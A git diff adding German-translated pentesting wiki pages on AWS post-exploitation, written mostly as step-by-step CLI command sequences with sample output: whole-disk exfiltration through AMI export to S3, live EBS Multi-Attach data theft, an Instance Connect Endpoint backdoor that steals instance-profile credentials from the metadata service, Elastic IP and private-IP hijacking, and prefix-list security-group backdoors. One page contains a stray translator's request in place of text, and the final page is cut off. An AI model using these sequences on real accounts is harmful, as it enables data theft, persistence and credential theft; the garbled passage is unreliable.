diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
new file mode 100644
index 000000000..6a69bdf77
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+Missbrauche EC2 AMI export-to-S3, um die gesamte Festplatte einer EC2-Instanz als ein einziges rohes Image in S3 zu exfiltrieren und anschließend out-of-band herunterzuladen. Dies vermeidet das Teilen von Snapshots und erzeugt ein Objekt pro AMI.
+
+## Anforderungen
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` auf der Ziel-Instanz/AMI
+- S3 (gleiche Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt auf dem Schlüssel, der die AMI-Snapshots schützt (falls EBS-Standardverschlüsselung aktiviert ist)
+- S3-Bucket-Policy, die dem `vmie.amazonaws.com` Service Principal vertraut (siehe unten)
+
+## Auswirkungen
+- Vollständige Offline-Akquisition der Root-Festplatte der Instanz in S3, ohne Snapshots zu teilen oder zwischen Accounts zu kopieren.
+- Erlaubt unauffällige Forensik an Anmeldeinformationen, Konfigurationen und Dateisysteminhalten aus dem exportierten Raw-Image.
+
+## How to Exfiltrate via AMI Store-to-S3
+
+- Hinweise:
+- Der S3-Bucket muss sich in derselben Region wie die AMI befinden.
+- In `us-east-1` darf `create-bucket` NICHT `--create-bucket-configuration` enthalten.
+- `--no-reboot` erstellt ein crash-konsistentes Image, ohne die Instanz zu stoppen (heimlicher, aber weniger konsistent).
+
+<details>
+<summary>Schritt-für-Schritt-Befehle</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Beweisbeispiel
+
+- `describe-store-image-tasks` Übergänge:
+```text
+InProgress
+Completed
+```
+- S3-Objektmetadaten (Beispiel):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Teilweiser Download beweist Zugriff auf das Objekt:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Erforderliche IAM-Berechtigungen
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (im Export-Bucket): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Wenn AMI-Snapshots verschlüsselt sind, das Entschlüsseln für den von den Snapshots verwendeten EBS KMS-Schlüssel erlauben
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
new file mode 100644
index 000000000..cfb2f576d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+EBS Multi-Attach missbrauchen, um von einem laufenden io1/io2-Datenvolume zu lesen, indem dasselbe Volume an eine vom Angreifer kontrollierte Instanz in derselben Availability Zone (AZ) angehängt wird. Das schreibgeschützte Mounten des geteilten Volumes ermöglicht sofortigen Zugriff auf in Benutzung befindliche Dateien, ohne Snapshots zu erstellen.
+
+## Voraussetzungen
+- Zielvolume: io1 oder io2, erstellt mit `--multi-attach-enabled` in derselben AZ wie die Angreifer-Instanz.
+- Berechtigungen: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` auf dem Zielvolume/den Ziel-Instanzen.
+- Infrastruktur: Nitro-basierte Instance-Typen, die Multi-Attach unterstützen (C5/M5/R5-Familien usw.).
+
+## Hinweise
+- Schreibgeschützt mit `-o ro,noload` mounten, um Korruptionsrisiken zu verringern und Journal-Replays zu vermeiden.
+- Auf Nitro-Instanzen exponiert das EBS NVMe-Gerät einen stabilen `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` Pfad (Hilfe unten).
+
+## Prepare a Multi-Attach io2 volume and attach to victim
+
+Example (create in `us-east-1a` and attach to the victim):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+Auf dem Opfer format/mount das neue Volume und schreibe sensible Daten (zur Veranschaulichung):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Dasselbe Volume an die Angreifer-Instanz anhängen
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Schreibgeschützt auf dem Angreifer einhängen und Daten lesen
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Erwartetes Ergebnis: Dieselbe `VOL_ID` zeigt mehrere `Attachments` (victim und attacker) und der attacker kann Dateien lesen, die vom victim geschrieben wurden, ohne einen Snapshot zu erstellen.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Hilfsfunktion: NVMe-Gerätepfad anhand der Volume ID finden</summary>
+
+Auf Nitro-Instanzen verwenden Sie den stabilen by-id-Pfad, der die Volume ID einbettet (den Bindestrich nach `vol` entfernen):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Auswirkungen
+- Sofortiger Lesezugriff auf Live-Daten auf dem Ziel-EBS-Volume, ohne snapshots zu erzeugen.
+- Wenn es read-write gemountet ist, kann der attacker das victim filesystem manipulieren (Risiko einer Beschädigung).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
new file mode 100644
index 000000000..79a9d5288
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche EC2 Instance Connect Endpoint (EIC Endpoint), um eingehenden SSH-Zugriff auf private EC2-Instanzen (no public IP/bastion) zu erlangen, indem:
+- Erstellen eines EIC Endpoint inside the target subnet
+- Eingehenden SSH-Zugriff auf die Ziel-SG von der EIC Endpoint-SG erlauben
+- Einfügen eines kurzlebigen SSH-Public-Keys (gültig ~60 Sekunden) mit `ec2-instance-connect:SendSSHPublicKey`
+- Öffnen eines EIC-Tunnels und Pivoting zur Instanz, um instance profile credentials aus IMDS zu stehlen
+
+Impact: stealthy remote access path into private EC2 instances that bypasses bastions and public IP restrictions. Der Angreifer kann das instance profile übernehmen und im Account agieren.
+
+## Requirements
+- Berechtigungen für:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Ziel-Linux-Instanz mit SSH-Server und EC2 Instance Connect aktiviert (Amazon Linux 2 oder Ubuntu 20.04+). Default users: `ec2-user` (AL2) oder `ubuntu` (Ubuntu).
+
+## Variables
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## EIC Endpoint erstellen
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Verkehr vom EIC Endpoint zur Zielinstanz zulassen
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Ephemeren SSH key injizieren und tunnel öffnen
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Post-Exploitation-Nachweis (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+Ich habe die Datei/den Inhalt nicht erhalten. Bitte füge hier den Markdown-Inhalt aus src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ein, damit ich den relevanten englischen Text ins Deutsche übersetzen kann.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Verwende die gestohlenen creds lokal, um die Identität zu verifizieren:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Bereinigung
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Hinweise
+> - Der injizierte SSH-Schlüssel ist nur für ~60 Sekunden gültig; sende den Schlüssel direkt bevor du den Tunnel/SSH öffnest.
+> - `OS_USER` muss zur AMI passen (z. B. `ubuntu` für Ubuntu, `ec2-user` für Amazon Linux 2).
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
new file mode 100644
index 000000000..55cf877ea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+
+Missbrauche `ec2:AssociateAddress` (und optional `ec2:DisassociateAddress`), um eine Elastic IP (EIP) von einer victim instance/ENI zu einer attacker instance/ENI neu zuzuordnen. Dies leitet eingehenden Traffic, der an die EIP gerichtet ist, zum attacker um und erlaubt dem attacker außerdem, ausgehenden Traffic mit der allowlisted public IP zu erzeugen, um externe Partner-Firewalls zu umgehen.
+
+## Voraussetzungen
+- Target EIP allocation ID im selben Account/VPC.
+- Attacker instance/ENI, die Sie kontrollieren.
+- Berechtigungen:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` auf der EIP allocation-id und auf der attacker instance/ENI
+- `ec2:DisassociateAddress` (optional). Hinweis: `--allow-reassociation` hebt die vorherige Zuordnung automatisch auf.
+
+## Angriff
+
+Variablen
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) EIP des Opfers zuweisen oder identifizieren (Lab weist eine neue zu und hängt sie an das Opfer an)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Prüfen, ob die EIP aktuell auf den Zielservice zeigt (z. B. durch Überprüfung des Banners)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) EIP dem Angreifer wieder zuordnen (wird automatisch vom Opfer getrennt)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Verifiziere, dass die EIP jetzt auf den attacker service aufgelöst wird
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Beweise (verschobene Zuordnung):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Auswirkungen
+- Inbound impersonation: Der gesamte Verkehr an die hijacked EIP wird an die attacker instance/ENI zugestellt.
+- Outbound impersonation: Attacker kann Traffic initiieren, der scheinbar von der allowlisted public IP stammt (nützlich, um Partner-/externe Source-IP-Filter zu umgehen).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
new file mode 100644
index 000000000..d1c5bc940
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche `ec2:UnassignPrivateIpAddresses` und `ec2:AssignPrivateIpAddresses`, um die sekundäre private IP einer victim ENI zu stehlen und sie auf eine attacker ENI im selben subnet/AZ zu verschieben. Viele interne Dienste und security groups steuern den Zugriff anhand spezifischer privater IPs. Durch das Verschieben dieser sekundären Adresse gibt sich der attacker auf L3 als der vertrauenswürdige Host aus und kann allowlisted services erreichen.
+
+Prereqs:
+- Berechtigungen: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` auf dem victim ENI ARN, und `ec2:AssignPrivateIpAddresses` auf dem attacker ENI ARN.
+- Beide ENIs müssen im selben subnet/AZ sein. Die Zieladresse muss eine sekundäre IP sein (die primäre kann nicht unassigned werden).
+
+Variablen:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG auf einem Zielservice, der nur $HIJACK_IP erlaubt
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Schritte:
+1) Wähle eine sekundäre IP aus der victim ENI
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Stelle sicher, dass der geschützte Host nur diese IP zulässt (idempotent). Wenn stattdessen SG-to-SG rules verwendet werden, überspringen.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Ausgangszustand: Von der Angreifer-Instanz sollte eine Anfrage an PROTECTED_HOST ohne gefälschte Quelladresse fehlschlagen (z. B. über SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Die sekundäre IP von der betroffenen ENI entfernen
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Weisen Sie der Angreifer-ENI dieselbe IP zu (bei AWS CLI v1 `--allow-reassignment` hinzufügen)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Überprüfen, ob die Eigentümerschaft verschoben wurde
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Von der Angreifer-Instanz, source-bind auf die hijacked IP, um den geschützten Host zu erreichen (Stelle sicher, dass die IP im OS konfiguriert ist; falls nicht, füge sie mit `ip addr add $HIJACK_IP/<mask> dev eth0` hinzu)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Auswirkungen
+- IP allowlists umgehen und vertrauenswürdige Hosts innerhalb der VPC imitieren, indem secondary private IPs zwischen ENIs im gleichen subnet/AZ verschoben werden.
+- Auf interne Dienste zugreifen, die den Zugang anhand bestimmter source IPs regeln, und dadurch laterale Bewegung sowie Datenzugriff ermöglichen.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
new file mode 100644
index 000000000..0c52b63d1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+Missbrauch von customer-managed Prefix Lists, um einen unauffälligen Zugangsweg zu schaffen. Wenn eine Security Group (SG)-Regel auf eine managed Prefix List verweist, kann jede Person mit der Berechtigung, diese Liste zu ändern, stumm vom Angreifer kontrollierte CIDRs hinzufügen. Jede SG (und potenziell Network ACL oder VPC endpoint), die die Liste referenziert, erlaubt die neuen Bereiche sofort, ohne dass an der SG selbst etwas sichtbar geändert wird.
+
+## Auswirkungen
+- Sofortige Erweiterung der erlaubten IP-Bereiche für alle SGs, die die Prefix List referenzieren, wodurch Änderungskontrollen umgangen werden, die nur SG-Änderungen überwachen.
+- Ermöglicht persistente ingress/egress Backdoors: das bösartige CIDR in der Prefix List verbergen, während die SG-Regel unverändert erscheint.
+
+## Voraussetzungen
+- IAM-Berechtigungen:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (um die angehängten SGs zu identifizieren)
+- Optional: `ec2:CreateManagedPrefixList` falls zum Testen eine neue Liste erstellt werden soll.
+- Umgebung: Mindestens eine SG-Regel, die auf die Ziel customer-managed Prefix List verweist.
+
+## Variablen
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Angriffsschritte
+
+1) **Enumeriere potenzielle prefix lists und deren Konsumenten**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Verwende `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID`, um zu bestätigen, welche SG-Regeln von der prefix list abhängen.
+
+2) **Füge attacker CIDR zur prefix list hinzu**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Validierung der Propagierung zu security groups**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+Der Datenverkehr von `$ENTRY_CIDR` ist jetzt überall erlaubt, wo die prefix list referenziert wird (häufig in ausgehenden Regeln von Egress-Proxies oder in eingehenden Regeln für gemeinsam genutzte Dienste).
+
+## Nachweise
+- `get-managed-prefix-list-entries` zeigt das Angreifer-CIDR und die Beschreibung an.
+- `describe-security-group-rules` zeigt weiterhin die ursprüngliche SG-Regel, die auf die prefix list verweist (keine SG-Änderung protokolliert), dennoch gelingt der Datenverkehr vom neuen CIDR.
+
+## Bereinigung
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
new file mode 100644
index 000000000..72c731267
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
@@ -0,0 +1,68 @@
+# AWS – Egress Bypass von isolierten Subnetzen über VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+Diese Technik missbraucht VPC Endpoints, um Exfiltrationskanäle aus Subnetzen ohne Internet Gateways oder NAT zu erstellen. Gateway endpoints (z. B. S3) fügen prefix‑list‑Routen in die Subnetz‑Routentabellen ein; Interface endpoints (z. B. execute-api, secretsmanager, ssm, etc.) erzeugen erreichbare ENIs mit privaten IPs, die durch security groups geschützt sind. Mit minimalen VPC/EC2‑Berechtigungen kann ein Angreifer kontrollierten Egress ermöglichen, der nicht das öffentliche Internet durchläuft.
+
+> Prereqs: vorhandenes VPC und private Subnetze (no IGW/NAT). Du benötigst Berechtigungen, um VPC endpoints zu erstellen und, für Option B, eine security group, die an die endpoint ENIs angehängt werden kann.
+
+## Option A – S3 Gateway VPC Endpoint
+
+**Variablen**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Erstelle eine permissive Endpoint-Policy-Datei (optional). Speichere sie als `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Erstelle den S3 Gateway-Endpunkt (fügt den ausgewählten Routentabellen eine S3 prefix-list-Route hinzu):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
